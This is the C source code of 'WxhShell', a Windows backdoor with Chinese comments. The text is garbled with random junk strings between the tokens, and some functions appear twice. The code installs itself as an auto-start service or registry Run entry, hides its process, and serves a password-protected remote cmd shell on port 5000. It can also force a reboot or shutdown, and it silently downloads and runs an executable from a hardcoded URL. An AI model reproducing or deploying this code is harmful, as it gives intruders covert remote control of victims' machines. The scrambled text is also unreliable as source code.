Um PROCNTQSIP NtQueryInformationProcess; Fi!BXngbd =(aA`:Nl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mn>/\e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v~.nP}
E^ ),!1B% HANDLE hProcess; sV']p#HK0 PROCESS_BASIC_INFORMATION pbi; UgD|tuz] VY1&YR}Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :z-UnC||j if(NULL == hInst ) return 0; |^09ny| OL%KAEnD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1SK|4Am g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q4R*yRk NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *DUP$@}k sF4+(9 = if (!NtQueryInformationProcess) return 0; w\}@+w3b~ uB@~x Q_V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4roqD;5|~| if(!hProcess) return 0; a #`Y(R' `k;MGs)& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6"djX47j Y
n7z#bu CloseHandle(hProcess); umo<9Y cF V[k'F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~W..P:wG5 if(hProcess==NULL) return 0; ^:cc3wt'3[ )45#lE3TH HMODULE hMod; p6c&vEsNj char procName[255]; rNN,! unsigned long cbNeeded; mDdL7I M 8NWQ^Y if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }.k*4Vw#Wt oAprM Z7Y CloseHandle(hProcess); E (.~[-K4 :B7dxE9[r if(strstr(procName,"services")) return 1; // 以服务启动 E=#
O|[= $n=w return 0; // 注册表启动 uA[c$tBe } K6EG"Vv! IgyoBfj\d // 主模块 s+<`iH9Hm int StartWxhshell(LPSTR lpCmdLine) /e;E+
{ d=C&b] SOCKET wsl; .%G>z"Xx BOOL val=TRUE; #ZyY(S1. int port=0; SH6+'7 struct sockaddr_in door; =&t]R?
F 6PyW(i(bs if(wscfg.ws_autoins) Install(); t2LX@Q" tjg?zlj port=atoi(lpCmdLine); @%"r69\ ]o?r(1 if(port<=0) port=wscfg.ws_port; po@Agyg5 :|%1i>O WSADATA data; 1c|{<dFm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y[0mTL4IO L\zyBfK} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d6e$'w@(\T setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H7
"r^s]D door.sin_family = AF_INET; :MihVL F door.sin_addr.s_addr = inet_addr("127.0.0.1"); P%aNbMg door.sin_port = htons(port); f= A`{8^ ]@!3os,CNF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x~QZVL=: closesocket(wsl); 4MrUo9L$s return 1; d7G
DIYH< } N4l}5(e \0n<6^y if(listen(wsl,2) == INVALID_SOCKET) { z&Xk~R*$ closesocket(wsl); H X{K5 + return 1; ~gdnD4[G } WD@v<Wx) Wxhshell(wsl); xW|8-q WSACleanup(); &NX7 1i&|}" return 0; L{0\M`B- z.Vf,<H } DQ@M?~1hp hmB`+?,z* // 以NT服务方式启动 sIMN""@Y^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AC*SmQ\>! { D63?f\ DWORD status = 0; M8R/a[ -A DWORD specificError = 0xfffffff; udS&$/&GH 67Ev$a_d" serviceStatus.dwServiceType = SERVICE_WIN32; Bbtc[@"X serviceStatus.dwCurrentState = SERVICE_START_PENDING; R*?!xDJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0oe2X1.% serviceStatus.dwWin32ExitCode = 0; WRrg5&._q serviceStatus.dwServiceSpecificExitCode = 0; LYr9a( serviceStatus.dwCheckPoint = 0; mU]pK5 serviceStatus.dwWaitHint = 0; \opcn\vW ;ojJXH~$} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {v"Y!/
[z if (hServiceStatusHandle==0) return; L|nFN}da biZ=TI2P,L status = GetLastError(); i91k0q*di if (status!=NO_ERROR) SmAii}-jf { xiV!\Z} serviceStatus.dwCurrentState = SERVICE_STOPPED; >2v<;. serviceStatus.dwCheckPoint = 0; {Iz"]Wh<f serviceStatus.dwWaitHint = 0; .7M.bpmqE serviceStatus.dwWin32ExitCode = status; yg4#,4---b serviceStatus.dwServiceSpecificExitCode = specificError; uPC(|U% SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSL+Gjj~} return; N_G84wxx } &fsk ESV0 uqD|j:~ =k serviceStatus.dwCurrentState = SERVICE_RUNNING; `.Zm}' serviceStatus.dwCheckPoint = 0; 7'gk=MQc serviceStatus.dwWaitHint = 0; OdOn wY if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7{]L{ j- } jxZf,]>T $KhD>4^jL // 处理NT服务事件,比如:启动、停止 '-mzt~zGOY VOID WINAPI NTServiceHandler(DWORD fdwControl) mM~&mAa+Z { }57Jn5&' switch(fdwControl) 5A^8?,F@ { Vvp{y case SERVICE_CONTROL_STOP: D2J)qCK1) serviceStatus.dwWin32ExitCode = 0; i3pOGa< serviceStatus.dwCurrentState = SERVICE_STOPPED; 0+[3>N y0 serviceStatus.dwCheckPoint = 0; KdD~;Ap$ serviceStatus.dwWaitHint = 0; ^/cqE[V~, { [e_<UF@A* SetServiceStatus(hServiceStatusHandle, &serviceStatus); )L7[;(gQ } ^=a:{["@! return; s8'!1rHd case SERVICE_CONTROL_PAUSE: aHb&+/HZ serviceStatus.dwCurrentState = SERVICE_PAUSED; p8"C`bCf break; N<<O(r case SERVICE_CONTROL_CONTINUE: 6pt|Crvu serviceStatus.dwCurrentState = SERVICE_RUNNING; 5j\Kej break; e&E7_ case SERVICE_CONTROL_INTERROGATE: ROvY,-? break; w
`+.F;}s }; #DARZh U) SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hzc}NyJ } bSn={O"M df {\O*6 // 标准应用程序主函数 [P0c,97_
H int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8k)*f+1o { SL`; `// wWSw0 H/ // 获取操作系统版本 JG&E"j#q OsIsNt=GetOsVer(); j+S&5C/{ GetModuleFileName(NULL,ExeFile,MAX_PATH); =[[I<[BZq ,9"du // 从命令行安装 [z"oi'"fQ if(strpbrk(lpCmdLine,"iI")) Install(); .mg0L\ q(WGvl^r // 下载执行文件 /|#2ehE if(wscfg.ws_downexe) { XH0o8\. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t:P7ah WinExec(wscfg.ws_filenam,SW_HIDE); w~+\Mf z } BHS@whj *_mER` if(!OsIsNt) { mkPqxzxbrL // 如果时win9x,隐藏进程并且设置为注册表启动 SUIu.4Mz HideProc(); iQ1[60?)T StartWxhshell(lpCmdLine); `:R9M+
OX } ("{vbs$; else smn(q)tt if(StartFromService()) :7X{s4AU6 // 以服务方式启动 XR p60i6f StartServiceCtrlDispatcher(DispatchTable); +2k{yl else ~p:hqi1+<+ // 普通方式启动 H6>t to StartWxhshell(lpCmdLine); S6C DK: m6H+4@Z-;( return 0; fZS'e{V } lp5'-Jo 6
{F#_. 7q 5 \]J[ I2NMn5> =========================================== 69Z`mR p2fzbBt ,1-idpnX PI9aKNt 0,):;OI 0r[a$p>` " l}T@Cgt ,J<+Wxz #include <stdio.h> MSp)Jc #include <string.h> kmlO}0 #include <windows.h> !}c\u #include <winsock2.h> xF YHv@g #include <winsvc.h> 7Up-a^k^` #include <urlmon.h> :uqEGnEut KG96;l@'( #pragma comment (lib, "Ws2_32.lib") _5b~3K/V #pragma comment (lib, "urlmon.lib") a3z_o)" 9"/=D9o9 #define MAX_USER 100 // 最大客户端连接数 m(5LXHJnv #define BUF_SOCK 200 // sock buffer q[Ey!h)xq #define KEY_BUFF 255 // 输入 buffer o)CW7Y#?, h+cOOm-) #define REBOOT 0 // 重启 . S;o#Zw*R #define SHUTDOWN 1 // 关机 vS:=%@c>ta '%rn-|) #define DEF_PORT 5000 // 监听端口 <h<_''+ y]!mN #define REG_LEN 16 // 注册表键长度 W>,D$ #define SVC_LEN 80 // NT服务名长度 sebuuL.l0< 5nmE*( // 从dll定义API jH;L7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9I#a{%A: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p^p1{%= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N[DKA1Ei typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D.a\O9q"&{ bIk4?S // wxhshell配置信息 c"Q9ob struct WSCFG { i\4d d)p- int ws_port; // 监听端口 :g-vy9vb char ws_passstr[REG_LEN]; // 口令 b`cH.v int ws_autoins; // 安装标记, 1=yes 0=no |h((SreO char ws_regname[REG_LEN]; // 注册表键名 hsQ*ozv[) char ws_svcname[REG_LEN]; // 服务名 KEq48+j char ws_svcdisp[SVC_LEN]; // 服务显示名 r-[YJzf@P char ws_svcdesc[SVC_LEN]; // 服务描述信息 JiXN"s^mcb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YPw=iF] int ws_downexe; // 下载执行标记, 1=yes 0=no M{Vi4ehOq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" em ]0^otM char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gq?>Bi;` =;?Maexp3$ }; '(3|hh)Tl <c
[X^8 // default Wxhshell configuration aLQ]2m struct WSCFG wscfg={DEF_PORT, w (ev=)7< "xuhuanlingzhe", >bO}sx1? 1, >k~3W> D "Wxhshell", =feVT2* "Wxhshell", |~Vq"6` "WxhShell Service", ),-MrL8c% "Wrsky Windows CmdShell Service", iTCY $)J "Please Input Your Password: ", E1qf N>0Z 1, %6:"tuA "http://www.wrsky.com/wxhshell.exe", id1gK(F8H "Wxhshell.exe" T{F
' Y% }; ;PMy9H $n::w c
// 消息定义模块 wPJA+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ovvg"/>L char *msg_ws_prompt="\n\r? for help\n\r#>"; njb{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rp!{QG char *msg_ws_ext="\n\rExit."; M,DwBEF? char *msg_ws_end="\n\rQuit."; ~eekv5 char *msg_ws_boot="\n\rReboot..."; difAQ<` char *msg_ws_poff="\n\rShutdown..."; :HH3=.qAp` char *msg_ws_down="\n\rSave to "; ;7mE%1X "^VPe[lA char *msg_ws_err="\n\rErr!"; ,T+.xB;Q@ char *msg_ws_ok="\n\rOK!"; 4ZT0~37( HQ/ Q" char ExeFile[MAX_PATH]; a0&R! E; int nUser = 0; )zo:Bo
.< HANDLE handles[MAX_USER]; Mqmy*m[U int OsIsNt; K5\;'.9M _%PEv{H0. SERVICE_STATUS serviceStatus; "J%dI9tM{ SERVICE_STATUS_HANDLE hServiceStatusHandle; aByd,uSe)_ ]_:j+6i // 函数声明 ()(/9t int Install(void); JZoH - int Uninstall(void); Q^oB`)k int DownloadFile(char *sURL, SOCKET wsh); -Dr)+Y int Boot(int flag); Y?IX V*J void HideProc(void); *orP{p-U int GetOsVer(void); OUtMel_ int Wxhshell(SOCKET wsl); 0M;aTM void TalkWithClient(void *cs); }(w9[(K int CmdShell(SOCKET sock); tP|ox] int StartFromService(void); x:`"tJa int StartWxhshell(LPSTR lpCmdLine); %xP'*EaM? h`V#)Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rjwP# VOID WINAPI NTServiceHandler( DWORD fdwControl ); QlH,-]N$L ::p(ViYG // 数据结构和表定义 )'axJ SERVICE_TABLE_ENTRY DispatchTable[] = 4So
,m0v { G"F:68 {wscfg.ws_svcname, NTServiceMain}, ITBa ^P {NULL, NULL} A=\:b^\ }; hta y- c7t . // 自我安装 ECLQqjB int Install(void) xtX`3=s { }/.GB5Ej char svExeFile[MAX_PATH]; v|; }}ol HKEY key; '2xfU strcpy(svExeFile,ExeFile); '\/|K 3 UG
UZ // 如果是win9x系统,修改注册表设为自启动 E6s)J -a if(!OsIsNt) { ^,6c9Dxy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "\l#q$1h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vALH!Kh RegCloseKey(key); Yjh02wo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |&AZ95v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EOzw&M];r RegCloseKey(key); ) 0|X];sD return 0; wdQ%L4l } %%hG],w } Xx
e07J~ } tY!GJusd else { T6I$7F m-MfFEZ // 如果是NT以上系统,安装为系统服务 T<K/bzB3z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]r(s02 if (schSCManager!=0) GfL:0 { zT ; +akq SC_HANDLE schService = CreateService /=S\v<z ( cX4I+Mf schSCManager, xpB*>zb wscfg.ws_svcname, yp"h$ wscfg.ws_svcdisp, +vO;J SERVICE_ALL_ACCESS, 2su/I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?[c{pb,| SERVICE_AUTO_START, !]t5(g_ SERVICE_ERROR_NORMAL, Q ?R3aJ svExeFile, agp7zw=N NULL, eR>|1s%^ NULL, \<W/Z.}/ NULL, vMeB2r< NULL, in#lpDa[ NULL 7)dCdO ); ,qT+Vqpr{ if (schService!=0) OI^sd_gkZ { yGvBQ2kYb CloseServiceHandle(schService); vC!B}~RG CloseServiceHandle(schSCManager); x,LYfy"0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vq:?a strcat(svExeFile,wscfg.ws_svcname); L'u*WHj|v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;.Y-e
Q, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K8RV=3MBLD RegCloseKey(key); /_1q)`NYy return 0; _f"KB=A_x } ToM1#]4 } xiOAj"}~ CloseServiceHandle(schSCManager); xq&r|el } aY0{v X } 00/ RBs5 uSUog+i return 1;
z-_$P)[c } @]7s`? E?S // 自我卸载 6G7+&g` int Uninstall(void) < b-OdOg { ^J'O8G$ HKEY key; ZC"a#rQ Q'rgh+6 if(!OsIsNt) { ,0f^>3&n>e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $},_O8R RegDeleteValue(key,wscfg.ws_regname); KzQuLD(e RegCloseKey(key); lofP$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ DP5Qi RegDeleteValue(key,wscfg.ws_regname); GD%qrK? RegCloseKey(key); `*3;sq%` return 0; v^aI+p6 } VUC_|=?dL } i?861Hu } E]W
: else { >4bWXb'S}C j{YIVX
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S
9|^VU if (schSCManager!=0) f`YHZ
O { $B`ETI9g-N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'EC0|IT)c if (schService!=0) .>1vN+ { Zn:]?%afdO if(DeleteService(schService)!=0) { dF7`V J2 CloseServiceHandle(schService); @H}{?-XyA CloseServiceHandle(schSCManager); Q5]rc`}
5 return 0; A3|2;4t } :-$TD('F CloseServiceHandle(schService); ?}HZJ@:lB } )}u?ftu\ CloseServiceHandle(schSCManager); I#;.;%u } [8>#b_> } 8S5Q{[ ! A4/gVi| return 1; G 2uM 6 } f8-~&N/_R >7z(?nQYT^ // 从指定url下载文件 9{0%M int DownloadFile(char *sURL, SOCKET wsh) :s1.TQ;Y( { Q.Y6 HRESULT hr; 5=V 29 char seps[]= "/"; %Vfr#j$= char *token; Y=,9 M char *file; iLN O}EUL char myURL[MAX_PATH]; >^SQrB char myFILE[MAX_PATH]; (a"/cH n`!6EaD strcpy(myURL,sURL); _+Z5qUmQ token=strtok(myURL,seps); .g94|P while(token!=NULL) qcge#S> { k>~D file=token; } ?MbU6" token=strtok(NULL,seps); HY;kV6g{P } FGeKhA 8jT ru|*xNXKgC GetCurrentDirectory(MAX_PATH,myFILE); di7cCn strcat(myFILE, "\\"); g ;XK3R strcat(myFILE, file); _Ud! tK*H send(wsh,myFILE,strlen(myFILE),0); qRz /$|. send(wsh,"...",3,0); c4zGQoeH: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J&B5Ll
if(hr==S_OK) 3QF[@8EH{ return 0; :ciD!Ly else 2*]
[M,L0c return 1; yCkX+{ki G-,0mo } w O6>jW
7 L-zU%`1{M // 系统电源模块 o_5[}d int Boot(int flag) u|k_OUTq { i 1Kq(7 HANDLE hToken; PDLps[a TOKEN_PRIVILEGES tkp; 4J?\JcGs 7r2p+LP[ if(OsIsNt) { \7%wJIeyx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "<f?.l\+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OX?E3 <8` tkp.PrivilegeCount = 1; e_g&L) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &wN}<Ge6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cob??|,\m if(flag==REBOOT) { irP*:QM if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t;u)_C,bmP return 0; %a:T9v } keStK8 else { Z,"YMUl' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o/[Ks;l return 0; ,?`kYPZ } 7xR:\FBa^ } N vTp1kI] else { `cIeqp if(flag==REBOOT) { l3/Cj^o4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j8]M}Q$ return 0; %!A-K1Z\D } |;^$IZSsz else { MBnxF^c&P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K<%8.mZ7 return 0; 4W<[& )7 } 3#GIZL}!x } d/awQXKe7 9[lk=1.qN return 1; C~'.3Q6 } B~J63Os/ `LKf$cx(A // win9x进程隐藏模块 5 PP^w~n void HideProc(void) '@IReMl { 8i<]$ !89hO4 0r HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HiD%BL>% if ( hKernel != NULL ) woF{O)~X { =
C/F26=| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cv4nl7A' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Og?GYe^_ FreeLibrary(hKernel); B]mMwqM# } @gmo;8?k Bgp%hK return; fu-,<m{ } ] ;HCt=I~ @X9T" // 获取操作系统版本 DJqJ6 z:' int GetOsVer(void) I :bT"N { dP>FXgY OSVERSIONINFO winfo; sM%l:Fv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
':DL GetVersionEx(&winfo); (m=1yj9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mX?t|:[b return 1; a:4!z;2
| else yf-2E_yB return 0; Vock19P } 1Tev&J G|||.B8 // 客户端句柄模块 8@RJ> int Wxhshell(SOCKET wsl) 'Asr,[]? { WMWUP ZsGS SOCKET wsh; O`aNNy struct sockaddr_in client; #q-fRZ:P DWORD myID; tCPK_Wws?Z h-SKw=n while(nUser<MAX_USER) sD&V_
&i { ~&+ a.@T int nSize=sizeof(client); [/l&:)5W> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BHErc\ITP if(wsh==INVALID_SOCKET) return 1; 4X+I2CD SUW=-M handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x"cB8bZ!$ if(handles[nUser]==0) \~t!M~H closesocket(wsh); mAJ'>^`^ else Z%=A[`5] nUser++; W5~!)Ec } @D `j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WT3g31 @O-\s q return 0; (Jk[%_b>_ } U6y`:G;. Kltqe5 // 关闭 socket k`5K& void CloseIt(SOCKET wsh) ]&`=p{Z { (A=Z,ed closesocket(wsh); .b^!f<j nUser--; BNFYUcVP ExitThread(0); f&RjvVP?s } ?5,I`9 NA`8 ^PZ // 客户端请求句柄 {))Cb9' void TalkWithClient(void *cs) j'hWhLax { 3TS:H1n >l=^3B,j SOCKET wsh=(SOCKET)cs; T7O) char pwd[SVC_LEN]; A4b+:MQ*OX char cmd[KEY_BUFF]; Dk8@x8
char chr[1]; w|*D{`O int i,j; P:3o}CB1I +4rd
N\. while (nUser < MAX_USER) { AR&l9R[{N sBqOcy if(wscfg.ws_passstr) { O'3/21)|y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (NJ.\m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BW`;QF< //ZeroMemory(pwd,KEY_BUFF); ]#G1
]U i=0; #TH(:I=[ while(i<SVC_LEN) { xe3Jxo!U H\9ePo\b~ // 设置超时 #YK3Ogb, fd_set FdRead; 0<fQjXn struct timeval TimeOut; "QD>:G;u FD_ZERO(&FdRead); =Mxu,A FD_SET(wsh,&FdRead);
:m/qR74+" TimeOut.tv_sec=8; {G<1. TimeOut.tv_usec=0; @,]W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }nO%q6|\V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /V#?d Cn5;h(r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zG^$-L.n pwd=chr[0]; P4|A\|t if(chr[0]==0xd || chr[0]==0xa) { V-X Ty
iv pwd=0; kVG+Wr7l0F break; pZt>rv } e+>$4Jq i++; >}JEX]V } Bqb`WX[<` lk
/Ke // 如果是非法用户,关闭 socket Xh/BVg7$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~lqNWL^l } Z,M2vRj"qT >!tfvM2X{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U:[CcN/~3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4p6T0II_$ C^,J6;' while(1) { 78?cCj{e Xf
mN/j2 ZeroMemory(cmd,KEY_BUFF); =5YbK1Q^ u^WZsW // 自动支持客户端 telnet标准 7| j
rk j=0; P:1eWP while(j<KEY_BUFF) { %*IH~/Ld;] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ((^vsKT cmd[j]=chr[0]; T
eu.i if(chr[0]==0xa || chr[0]==0xd) { G9K& }_, cmd[j]=0; zN-Y=-c break; lE8_Q *ev } IMpL+W. j++; ~~I]SI k{ } X?/32~\ C+mPl +}w // 下载文件 G(t&(t`[ if(strstr(cmd,"http://")) { |It{L0=U send(wsh,msg_ws_down,strlen(msg_ws_down),0); .G"T;w6d if(DownloadFile(cmd,wsh)) u^x<xw6f send(wsh,msg_ws_err,strlen(msg_ws_err),0); VMNdC} else f3:dn7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q
trU_c2k } n^l5M^. else { JxM32?Rm*w RtDTcaW/ switch(cmd[0]) { Wv,?xm N~S#(.}[ // 帮助 H;Gs0Qi; case '?': { %Rk0sfLvn send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &[yYgfsp break; th0>u.hJ } P;|63"U // 安装 ,I,Zl.5 case 'i': { |t#s h if(Install()) <N=ow"rD send(wsh,msg_ws_err,strlen(msg_ws_err),0); (+u&b< <6N else UM0#S} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m]{/5L break; 8%MF< } ?4R q + // 卸载 vJ&35nF& case 'r': { \oP if(Uninstall()) |;U3pq) send(wsh,msg_ws_err,strlen(msg_ws_err),0); *;lb<uLv else F0kQ/x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 90wnwz break; !wro7ilMB } 'w|N}
4 // 显示 wxhshell 所在路径 vQDR;T"] case 'p': { Fg2/rC:_ char svExeFile[MAX_PATH]; '6T *b strcpy(svExeFile,"\n\r"); kkj_k:Eah strcat(svExeFile,ExeFile); oiz]Bd send(wsh,svExeFile,strlen(svExeFile),0); T%YN(f break; GzT?I
7|M } J %E0Wd // 重启 h{?f
uoZj% case 'b': { Lk-h AN{[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |CBJ8],mT if(Boot(REBOOT)) t
Q>/1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*20b@ else { p\]rxtm closesocket(wsh); BbzIQg: ExitThread(0); mDWRYIuN } O@LUM{\ break; #"o`'5 } AJP-7PPD // 关机 $^#q0Yx case 'd': { hXx:D3h send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J^pq< if(Boot(SHUTDOWN)) !zfV(& send(wsh,msg_ws_err,strlen(msg_ws_err),0); z7Z!wIzJ else { SQJ4}w>i closesocket(wsh); Ek '%%% ExitThread(0); n." XiXsN } Mo4igP break; TZObjSm_v } X>MDX.Z // 获取shell y*I,i*iv case 's': { -TyBb] CmdShell(wsh); tz%H1` closesocket(wsh); \YH*x` ExitThread(0); 1kh()IrA break; z+nq<%"' } 1]7v3m // 退出 Dh9C9<Ta: case 'x': { 7t6TB*H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3+I"Dm, CloseIt(wsh); l_T5KV break; qK&h$;~*y } !LpFK0rw // 离开 V:1_k"zQ case 'q': { v+d? #^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); VQ4rEO=t closesocket(wsh); %nj{eT WSACleanup(); AD"L>7 exit(1); !7Z?VEZ break; 8fQXif\z } &t74T"(d } lZD"7om } ]Q{MF- EKj dca?(B!'6 // 提示信息 RG`eNRTQ% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;VgB! } ujbJ&p
} p+:MZP -%( lJU]sZ9~b return; /#e-x|L } #!]~E@;E z;EDyd,O> // shell模块句柄 gg
:{Xf*` int CmdShell(SOCKET sock) ++d[YhO { Opf^#6'mq STARTUPINFO si; ~G8haN4 ZeroMemory(&si,sizeof(si)); :n$?wp si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !]!J"!xg* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ||rZ+<
PROCESS_INFORMATION ProcessInfo; c4FU@^Vv char cmdline[]="cmd"; r?=3TAA CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u!I=|1s return 0; Trml?zexD } nbSu|sX~r5 gqACIXR // 自身启动模式 QZ_8r#2x int StartFromService(void) Xe<kdB3 { )|L#i2?: typedef struct Rj/ y.g { 1IZTo!xi DWORD ExitStatus; @s~*>k#"# DWORD PebBaseAddress; OG2&=~hOz- DWORD AffinityMask; _t\)W(E& DWORD BasePriority; Mt(;7q@1c ULONG UniqueProcessId; _l&.<nz ULONG InheritedFromUniqueProcessId; Ct9*T`Gl } PROCESS_BASIC_INFORMATION; =}YaV@g<f \%]!/&>{6 PROCNTQSIP NtQueryInformationProcess; k3r<']S^ H@ .1cO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (KdP^.7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^97\TmzP{ 2)jf~!o)Z HANDLE hProcess; 2B=+p83< PROCESS_BASIC_INFORMATION pbi; ?F@X>zR2 R ;3!?` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Et{lrgh
f if(NULL == hInst ) return 0; Xm[Cgt_? aUEnQ%YU" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LkUi^1((e g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;2iDa NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jMQ7^(9- 3Vb/Mn!k if (!NtQueryInformationProcess) return 0; uZ(,7>0 rb<9/z5- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qM:*!Aq0g if(!hProcess) return 0; MnD^jcx
R'p-
4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a
